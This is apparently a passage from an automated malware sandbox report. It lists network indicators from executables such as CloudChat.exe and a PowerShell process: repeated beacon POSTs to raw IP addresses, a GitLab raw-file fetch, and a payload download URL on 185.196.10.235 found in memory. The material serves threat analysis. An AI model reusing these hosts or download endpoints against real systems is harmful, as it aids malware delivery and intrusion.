Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80

Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139
Source: unknown	TCP traffic detected without corresponding DNS query: 103.78.229.139

Source: global traffic	HTTP traffic detected: GET /deepchat2019/flsajfascol/raw/master/ajdioafd1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*Host: gitlab.com
Source: global traffic	HTTP traffic detected: GET /get HTTP/1.1Host: httpbin.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?name=user-PC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 185.196.10.235:50001Connection: Keep-Alive

Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp

String found in binary or memory: 04:7e:cb:e9:fc:a5:5f:7b:d0:9e:ae:36:e1:0c:ae:1email.google.comf5:c8:6a:f3:61:62:f1:3a:64:f5:4f:6d:c9:58:7c:06www.google.comd7:55:8f:da:f5:f1:10:5b:b2:13:28:2b:70:77:29:a3login.yahoo.com39:2a:43:4f:0e:07:df:1f:8a:a3:05:de:34:e0:c2:293e:75:ce:d4:6b:69:30:21:21:88:30:ae:86:a8:2a:71e9:02:8b:95:78:e4:15:dc:1a:71:0a:2b:88:15:44:47login.skype.com92:39:d5:34:8f:40:d1:69:5a:74:54:70:e1:f2:3f:43addons.mozilla.orgb0:b7:13:3e:d0:96:f9:b5:6f:ae:91:c8:74:bd:3a:c0login.live.comd8:f3:5f:4e:b7:87:2b:2d:ab:06:92:e3:15:38:2f:b0global trustee05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56*.google.com0c:76:da:9c:91:0c:4e:2c:9e:fe:15:d0:58:93:3c:4cDigiNotar Root CAf1:4a:13:f4:87:2b:56:dc:39:df:84:ca:7a:a1:06:49DigiNotar Services CA36:16:71:55:43:42:1b:9d:e6:cb:a3:64:41:df:24:38DigiNotar Services 1024 CA0a:82:bd:1e:14:4e:88:14:d7:5b:1a:55:27:be:bf:3eDigiNotar Root CA G2a4:b6:ce:e3:2e:d3:35:46:26:3c:b3:55:3a:a8:92:21CertiID Enterprise Certificate Authority5b:d5:60:9c:64:17:68:cf:21:0e:35:fd:fb:05:ad:41DigiNotar Qualified CA46:9c:2c:b007:27:10:0dDigiNotar Cyber CA07:27:0f:f907:27:10:0301:31:69:b0DigiNotar PKIoverheid CA Overheid en Bedrijven01:31:34:bfDigiNotar PKIoverheid CA Organisatie - G2d6:d0:29:77:f1:49:fd:1a:83:f2:b9:ea:94:8c:5c:b4DigiNotar Extended Validation CA1e:7d:7a:53:3d:45:30:41:96:40:0f:71:48:1f:45:04DigiNotar Public CA 202546:9c:2c:af46:9c:3c:c907:27:14:a9Digisign Server ID (Enrich)4c:0e:63:6aDigisign Server ID - (Enrich)72:03:21:05:c5:0c:08:57:3d:8e:a5:30:4e:fe:e8:b0UTN-USERFirst-HardwareMD5 Collisions Inc. (http://www.phreedom.org/md5)08:27*.EGO.GOV.TR08:64e-islem.kktcmerkezbankasi.org03:1d:a7AC DG Tr equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: www.cloudchat.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 103.78.229.139:80

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 FORBIDDENContent-Type: text/html; charset=utf-8Content-Length: 100Date: Mon, 30 Sep 2024 10:20:57 GMT

Source: powershell.exe, 00000012.00000002.2674650655.00000218F91DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.235:50001/download?name=
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://192.168.31.183:7890/crash.php/t?act=report
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://192.168.31.183:7890/crash.php?act=query_report&apiid=%1&version=%2&dmp=%3&platform=%4
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144568975.000002BEAFB1F000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 